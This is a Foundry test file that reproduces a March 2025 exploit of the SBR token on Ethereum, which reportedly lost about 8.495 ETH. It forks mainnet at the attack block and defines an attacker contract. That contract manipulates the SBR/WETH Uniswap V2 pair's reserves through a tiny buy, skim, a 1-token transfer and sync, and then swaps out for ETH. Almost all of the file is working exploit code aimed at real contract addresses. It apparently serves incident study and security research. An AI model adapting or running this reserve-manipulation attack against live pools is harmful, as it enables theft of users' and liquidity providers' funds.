src/test/2025-03/SBRToken_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3 
4import "forge-std/Test.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : ~ 8.495 ETH
8// Attacker : https://etherscan.io/address/0x7a6488348a7626c10e35df9ae0a2ad916a56a952
9// Attack Contract : https://etherscan.io/address/0x9926796371e0107abe406128fa801fda0e436f44
10// Vulnerable Contract :
11// Attack Tx : https://etherscan.io/tx/0xe4c1aeacf8c93f8e39fe78420ce7a114ecf59dea90047cd2af390b30af54e7b9
12 
13// @Analysis
14// Twitter Guy : https://x.com/TenArmorAlert/status/1897826817429442652
15 
16address constant SBR = 0x460B1AE257118Ed6F63Ed8489657588a326a206D;
17address constant wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
18 
19address constant UniswapV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
20address constant UniswapV2Pair = 0x3431c535dDFB6dD5376E5Ded276f91DEaA864FF2;
21 
22contract SBRToken_exp is Test {
23    address attacker = makeAddr("attacker");
24 
25    function setUp() public {
26        vm.createSelectFork("mainnet", 21_991_722 - 1);
27        vm.deal(attacker, 1 ether);
28 
29        vm.label(attacker, "Exploiter");
30        vm.label(SBR, "SBR Token");
31        vm.label(wETH, "Wrapped Ether");
32        vm.label(UniswapV2Router, "Uniswap V2: Router 2");
33        vm.label(UniswapV2Pair, "Uniswap V2: Pair");
34    }
35 
36    function testExploit() public {
37        emit log_named_decimal_uint("ETH before attack", attacker.balance, 18);
38 
39        vm.prank(attacker);
40        AttackerC attC = new AttackerC{value: 0.000000000000004 ether}();
41        attC.attack();
42        vm.stopPrank();
43 
44        emit log_named_decimal_uint("ETH after attack", attacker.balance, 18);
45    }
46}
47 
48contract AttackerC {
49    address attacker;
50 
51    constructor() payable {
52        attacker = msg.sender;
53    }
54 
55    function attack() public {
56        address[] memory path = new address[](2);
57        path[0] = wETH;
58        path[1] = SBR;
59        IRouter(UniswapV2Router).swapExactETHForTokensSupportingFeeOnTransferTokens{value: 0.000000000000004 ether}(
60            0, path, address(this), block.timestamp + 100
61        );
62 
63        Uni_Pair_V2(UniswapV2Pair).skim(UniswapV2Pair);
64 
65        IERC20(SBR).transfer(UniswapV2Pair, 1);
66 
67        Uni_Pair_V2(UniswapV2Pair).sync();
68 
69        IERC20(SBR).approve(UniswapV2Router, type(uint256).max);
70 
71        uint256 balance = IERC20(SBR).balanceOf(address(this));
72        // console.log(balance); // 54804369677
73        path[0] = SBR;
74        path[1] = wETH;
75        IRouter(UniswapV2Router).swapExactTokensForETHSupportingFeeOnTransferTokens(
76            balance, 0, path, attacker, block.timestamp + 100
77        );
78    }
79}